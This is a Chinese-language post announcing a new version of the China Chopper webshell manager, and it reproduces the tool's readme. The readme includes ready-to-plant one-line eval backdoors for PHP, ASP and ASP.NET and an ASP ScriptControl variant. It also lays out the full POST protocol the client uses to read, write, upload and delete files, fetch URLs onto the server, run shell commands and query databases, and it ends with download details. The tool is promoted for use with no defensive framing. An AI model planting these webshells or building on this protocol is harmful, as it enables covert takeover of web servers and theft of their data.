0x00 中國制造, 黑客之刀
中國菜刀是中國安全圈內使用非常廣泛的一款Webshell管理工具,此次老兵大牛進行了更新,界面更加優美,功能更加豐富,有圖有真相!

0x01 驗證
此次更新還自帶了官網驗證功能,媽媽再也不會擔心我的webshell了。

0x02 軟件說明
菜刀 / Caidao @ http://www.maicaidao.com/
|
1
|
菜刀,他是一款專業的網站管理工具
|
一、網站管理模塊
(1)放在網站上的腳本程序分兩種
1.1)“一句話(Eval)”:
PHP, ASP, ASP.NET 的網站都可以,支持https。下面的代碼放在網站目錄即可開始管理,比FTP好用多了是不是:
|
1
2
3
|
PHP: <?php @
eval
(
$_POST
[
'caidao'
]);?>
ASP: <%
eval
request(
"caidao"
)%>
ASP.NET: <%@ Page Language=
"Jscript"
%><%
eval
(Request.Item[
"caidao"
],
"unsafe"
);%>
|
1.2)自己開發的腳本程序(Customize):
理論上支持所有動態腳本,只要正確與菜刀進行交互即可。調用方法請參閱后面的 “Customize模式菜刀和服務端通信接口”。
(2)常用功能介紹
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
2.1)文件管理:[特色]緩存下載目錄,並支持離線查看緩存目錄;
2.2)虛擬終端:[特色]人性化的設計,操作方便;(輸入HELP查看更多用法), 超長命令會分割為5k字節一份,分別提交。
2.3)數據庫管理:[特色]圖形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,POSTGRESQL,ACCESS, 以及支持ADO方式連接的數據庫。
2.4) 自寫腳本(只有Eval端才支持):
通過簡單編碼后提交用戶自己的腳本到服務端執行,實現豐富的功能,也可選擇發送到瀏覽器執行。
如果要寫自己的CCC腳本,可以參考一下CCC目錄下的示例代碼, 相信你也可以寫出功能豐富的腳本。
可以在官網下載別人的CCC腳本,或分享你的得意之作。
|
(3)配置框填寫說明
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
|
----------------
A) 數據庫相關:
----------------
PHP:
<T>類型</T> 類型可為MYSQL,MSSQL,ORACLE,INFOMIX,POSTGRESQL中的一種
<H>主機地址<H> 主機地址可為機器名或IP地址,如localhost
<U>數據庫用戶</U> 連接數據庫的用戶名,如root
<P>數據庫密碼</P> 連接數據庫的密碼,如123455
<N>默認庫</N> 默認連接的庫名
<L>utf8</L> 這一項數據庫類型為MYSQL腳本為PHP時可選,不填則為latin1
ASP 和 ASP.NET:
<T>類型</T> 類型只能填ADO
<C>ADO配置信息</C>
ADO連接各種數據庫的方式不一樣。如MSSQL的配置信息為
Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=123456;
Customize:
<T>類型</T> 類型只能填XDB
<X>與Customize 腳本約定的配置信息</X>
菜刀自帶的Customize.jsp數據庫參數填寫方法如下(兩行):
MSSQL:
<X>
com.microsoft.sqlserver.jdbc.SQLServerDriver
jdbc:sqlserver:
//127.0.0.1:1433;databaseName=test;user=sa;password=123456
</X>
MYSQL:
<X>
com.mysql.jdbc.Driver
jdbc:mysql:
//localhost/test?user=root&password=123456
</X>
ORACLE:
<X>
oracle.jdbc.driver.OracleDriver
jdbc:oracle:thin:user/password@127.0.0.1:1521/test
</X>
-------------
B) 其它配置:
-------------
添加額外附加提交的數據,如ASP的新服務端是這樣的:
<%
Set o = Server.CreateObject(
"ScriptControl"
)
o.language =
"vbscript"
o.addcode(Request(
"SC"
))
o.run
"ff"
,Server,Response,Request,Application,Session,Error
%>
那么,菜刀在配置處填入:
<O>SC=
function
+ff(Server,Response,Request,Application,Session,Error):
eval
(request(
"caidao"
)):
end
+
function
</O>
然后以密碼caidao來連接即可。
默認終端程序路徑設置示例:
<SHELL>/bin/sh</SHELL>
虛擬終端默認命令設置示例:
<CMD>whoami</CMD>
文件管理默認打開的目錄設置示例:
<CD>c:\windows\temp\</CD>
如果你網站開通了HTTP登錄驗證,可以這樣填地址:
http:
//user:pass@maicaidao.com/admin.asp
用戶名密碼中的特殊字符可用URL編碼轉換。
【20160620后的版本多了個文件caidao.conf】
這個文件是必須有的,里面的各節點一個也不能刪,不然程序運行會出錯!
默認調用的是caidao.conf,菜單里有個“加載配置文件”的菜單項,可以切換配置文件。
這個文件必段存為UNICODE編碼!
各節點簡單介紹一下:
<FLAG> 返回的內容分隔符,只限三個字符,用生辟點的字符吧。
<UA> 自定義User-Agent的值
<K1> POST的第一個參數名稱,不再是原版本固定的z1
<K2> 同上
<PHP_BASE> 這是PHP腳本的基本代碼,其它的功能代碼最終會傳到這里面,注意里面的%s %d這樣的參數
<ASP_BASE> 同上
<ASPX_BASE> 同上
<PHP_BASE.加密示例> 這個不會用到,如果臨時復制出來一個節點,可以取一個不同的節點名字,不要重名了。
這里示范的是如何把PHP_BASE的內容加密發送。
相信你會做得更好。
<GETBASEINFO>
<SHOWFOLDER>
<SHOWTXTFILE>
<SAVETXTFILE>
<DELETEFILE>
<DOWNFILE>
<UPLOADFILE>
<PASTEFILE>
<NEWFOLDER>
<WGET>
<SHELL>
<RENAME>
<SETTIME>
-----------上面這些,你懂的,就不費篇幅了
<DB_PHP_MYSQL_DBLIST> PHP腳本剛連接時調用這里,給出庫列表
<DB_PHP_MYSQL_TABLELIST> 點擊庫調用,顯示數據表
<DB_PHP_MYSQL_COLUMNLIST> 點擊數據表調用,顯示數據表字段
<DB_PHP_MYSQL_EXECUTESQL> 執行SQL,分別處理查詢和執行並給出結果。
....
接下來的幾樣都是PHP連其它庫的,大同小異。
<DB_ASP_ADO_DBLIST>
<DB_ASP_ADO_TABLELIST>
<DB_ASP_ADO_COLUMNLIST>
<DB_ASP_ADO_EXECUTESQL>
上面是ASP管理數據庫的腳本,用ADO來整的。
<DB_ASPX_ADO_DBLIST>
<DB_ASPX_ADO_TABLELIST>
<DB_ASPX_ADO_COLUMNLIST>
<DB_ASPX_ADO_EXECUTESQL>
ASPX的,當然還有其它好用的方式,看你的習慣來改了。
|
二、記事本
|
1
|
忽然覺得有個地方記錄點東西還是挺方便的。
|
三、瀏覽器
|
1
2
3
|
就是一個專用的網頁瀏覽器,
Post瀏覽/自定義Cookies,/執行自定義腳本/自動刷新頁面/同IP網頁搜索。
如果有ip.dat庫,在狀態欄會顯示此網站的IP,國家代碼。
|
新版本去掉了一些不想用的功能。
四、文件說明:
|
1
2
3
4
5
6
7
8
9
10
11
|
caidao.exe 菜刀程序
db.mdb 菜刀的主數據庫
caidao.conf 配置文件(重要,千萬別刪除)
cache.tmp 菜刀的緩存數據庫(可刪除)
readme.txt 你現在正在看的(可刪除)
ip.dat 一個IP庫,用於IP地址識別(可刪除)
<CCC> 菜刀的自寫腳本目錄(可刪除)
<Customize> Customize模式的服務端(可刪除)
Customize.aspx 這是一個C#的示例服務端(全功能)
Customize.jsp 這是一個jsp的示例服務端(全功能)
Customize.cfm 這是一個cfm的示例服務端(文件管理,虛擬終端)
|
五、附Customize模式菜刀和服務端通信接口
其它語言的服務端代碼可按此接口來編寫(請參照Customize.jsp/Customize.cfm/Customize.aspx)
例:菜刀客戶端填寫的密碼為pass,網頁編碼選的是GB2312(Jsp服務端會用到此參數)
注:所有參數都以POST提交,
返回的數據都要以配置文件caidao.conf中的FLAG節點填寫的標記分隔
提交的參數z0.z1.z2...
注:返回的錯誤信息開頭包含ERROR://
注:\t代表制表符TAB,\r\n代表換行回車,\n代表回車
注:數據庫配置信息是一個字符串,服務端腳本可以對此字符串格式進行自定義。
[得到當前目錄的絕對路徑]
提交:pass=A&z0=GB2312
返回:目錄的絕對路徑\t,如果是Windows系統后面接着加上驅動器列表
示例:c:\inetpub\wwwroot\ C:D:E:K:
示例:/var/www/html/
[目錄瀏覽]
提交:pass=B&z0=GB2312&z1=目錄絕對路徑
返回:先目錄后文件,目錄名后要加/,文件名后不要加/
示例:
目錄名/\t時間\t大小\t屬性\n目錄名/\t時間\t大小\t屬性\n
文件名\t時間\t大小\t屬性\n文件名\t時間\t大小\t屬性\n
[讀取文本文件]
提交:pass=C&z0=GB2312&z1=文件絕對路徑
返回:文本文件的內容
[寫入文本文件]
提交:pass=D&z0=GB2312&z1=文件絕對路徑&z2=文件內容
返回:成功返回1,不成功返回錯誤信息
[刪除文件或目錄]
提交:pass=E&z0=GB2312&z1=文件或目錄的絕對路徑
返回:成功返回1,不成功返回錯誤信息
[下載文件]
提交:pass=F&z0=GB2312&z1=服務器文件的絕對路徑
返回:要下載文件的內容
[上傳文件]
提交:pass=G&z0=GB2312&z1=文件上傳后的絕對路徑&z2=文件內容(十六進制文本格式)
返回:要下載文件的內容
[復制文件或目錄后粘貼]
提交:pass=H&z0=GB2312&z1=復制的絕對路徑&z2=粘貼的絕對路徑
返回:成功返回1,不成功返回錯誤信息
[文件或目錄重命名]
提交:pass=I&z0=GB2312&z1=原名(絕對路徑)&z2=新名(絕對路徑)
返回:成功返回1,不成功返回錯誤信息
[新建目錄]
提交:pass=J&z0=GB2312&z1=新目錄名(絕對路徑)
返回:成功返回1,不成功返回錯誤信息
[修改文件或目錄時間]
提交:pass=K&z0=GB2312&z1=文件或目錄的絕對路徑&z2=時間(格式:yyyy-MM-dd HH:mm:ss)
返回:成功返回1,不成功返回錯誤信息
[下載文件到服務器]
提交:pass=L&z0=GB2312&z1=URL路徑&z2=下載后保存的絕對路徑
返回:成功返回1,不成功返回錯誤信息
[執行Shell命令(Shell路徑前會根據服務器系統類型加上-c或/c參數)]
提交:pass=M&z0=GB2312&z1=(-c或/c)加Shell路徑&z2=Shell命令
返回:命令執行結果
[得到數據庫基本信息]
提交:pass=N&z0=GB2312&z1=數據庫配置信息
返回:成功返回數據庫(以制表符\t分隔), 不成功返回錯誤信息
[獲取數據庫表名]
提交:pass=O&z0=GB2312&z1=數據庫配置信息\r\n數據庫名
返回:成功返回數據表(以\t分隔), 不成功返回錯誤信息
[獲取數據表列名]
提交:pass=P&z0=GB2312&z1=數據庫配置信息\r\n數據庫名\r\n數據表名
返回:成功返回數據列(以制表符\t分隔), 不成功返回錯誤信息
[執行數據庫命令]
提交:pass=Q&z0=GB2312&z1=數據庫配置信息\r\n數據庫名&z2=SQL命令
返回:成功返回數據表內容, 不成功返回錯誤信息
注意:返回的第一行為表頭,接下去每行分別在列表中顯示,列數要求一致。行中的每列后加上\t|\t標記,每行以標記\r\n為結束
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
菜刀 七歲了 感謝有你一路陪伴成長!
L408179
|
0x03 下載
|
1
2
3
4
5
6
7
8
9
10
11
|
解壓密碼:www.maicaidao.com
壓縮包caidao-20160620-www.maicaidao.com.zip:
MD5: 75F9C0EA9CE2BA266560FE3364127AE3
SHA1: 3C87E017E3CF77C06827C587E43F902E6AF7B6B8
caidao.exe:
MD5:AC86066FFD58779F4C0DB5030574B0CB
SHA1: 02C1725FA5865A4BE0F4A040BFDBC4B30B628D8C
|
